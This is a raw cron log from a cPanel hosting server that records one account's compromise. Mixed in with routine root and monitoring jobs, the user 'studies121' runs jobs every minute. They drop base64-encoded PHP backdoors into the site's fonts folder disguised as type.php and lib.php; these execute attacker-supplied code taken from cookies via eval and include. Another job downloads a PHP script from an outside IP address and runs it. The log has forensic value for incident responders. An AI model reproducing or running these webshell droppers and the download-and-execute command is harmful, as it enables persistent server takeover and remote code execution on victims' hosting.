Feb 22 11:15:01 ip-184-168-122-23 CROND[15088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:16:01 ip-184-168-122-23 CROND[15420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:16:01 ip-184-168-122-23 CROND[15422]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:16:01 ip-184-168-122-23 CROND[15423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:16:01 ip-184-168-122-23 CROND[15426]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:16:01 ip-184-168-122-23 CROND[15428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:16:01 ip-184-168-122-23 CROND[15427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 11:17:01 ip-184-168-122-23 CROND[15741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:17:01 ip-184-168-122-23 CROND[15746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:17:01 ip-184-168-122-23 CROND[15744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:17:01 ip-184-168-122-23 CROND[15745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:18:01 ip-184-168-122-23 CROND[16048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:18:01 ip-184-168-122-23 CROND[16050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:18:01 ip-184-168-122-23 CROND[16052]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:18:01 ip-184-168-122-23 CROND[16051]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:18:01 ip-184-168-122-23 CROND[16053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:19:01 ip-184-168-122-23 CROND[16435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:19:01 ip-184-168-122-23 CROND[16438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:19:01 ip-184-168-122-23 CROND[16442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:19:01 ip-184-168-122-23 CROND[16441]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16772]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16771]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:20:01 ip-184-168-122-23 CROND[16770]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16773]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:20:01 ip-184-168-122-23 CROND[16782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:20:01 ip-184-168-122-23 CROND[16783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:21:02 ip-184-168-122-23 CROND[17114]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:21:02 ip-184-168-122-23 CROND[17115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:21:02 ip-184-168-122-23 CROND[17117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:21:02 ip-184-168-122-23 CROND[17119]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:22:01 ip-184-168-122-23 CROND[17425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:22:01 ip-184-168-122-23 CROND[17427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:22:01 ip-184-168-122-23 CROND[17428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:22:01 ip-184-168-122-23 CROND[17430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:22:01 ip-184-168-122-23 CROND[17429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:23:01 ip-184-168-122-23 CROND[17751]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:23:01 ip-184-168-122-23 CROND[17753]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:23:01 ip-184-168-122-23 CROND[17752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:23:01 ip-184-168-122-23 CROND[17755]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:24:01 ip-184-168-122-23 CROND[18063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:24:01 ip-184-168-122-23 CROND[18065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:24:01 ip-184-168-122-23 CROND[18067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:24:01 ip-184-168-122-23 CROND[18068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:24:01 ip-184-168-122-23 CROND[18066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:25:01 ip-184-168-122-23 CROND[18402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:25:01 ip-184-168-122-23 CROND[18404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:25:01 ip-184-168-122-23 CROND[18403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:25:01 ip-184-168-122-23 CROND[18407]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 11:25:01 ip-184-168-122-23 CROND[18412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:25:01 ip-184-168-122-23 CROND[18410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 11:26:01 ip-184-168-122-23 CROND[18742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:26:01 ip-184-168-122-23 CROND[18744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:26:01 ip-184-168-122-23 CROND[18745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:26:01 ip-184-168-122-23 CROND[18746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 11:26:01 ip-184-168-122-23 CROND[18747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:27:01 ip-184-168-122-23 CROND[19140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 11:27:01 ip-184-168-122-23 CROND[19141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 11:27:01 ip-184-168-122-23 CROND[19143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 11:27:01 ip-184-168-122-23 CROND[19144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 11:28:01 ip-184-168-122-23 CROND[19478]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
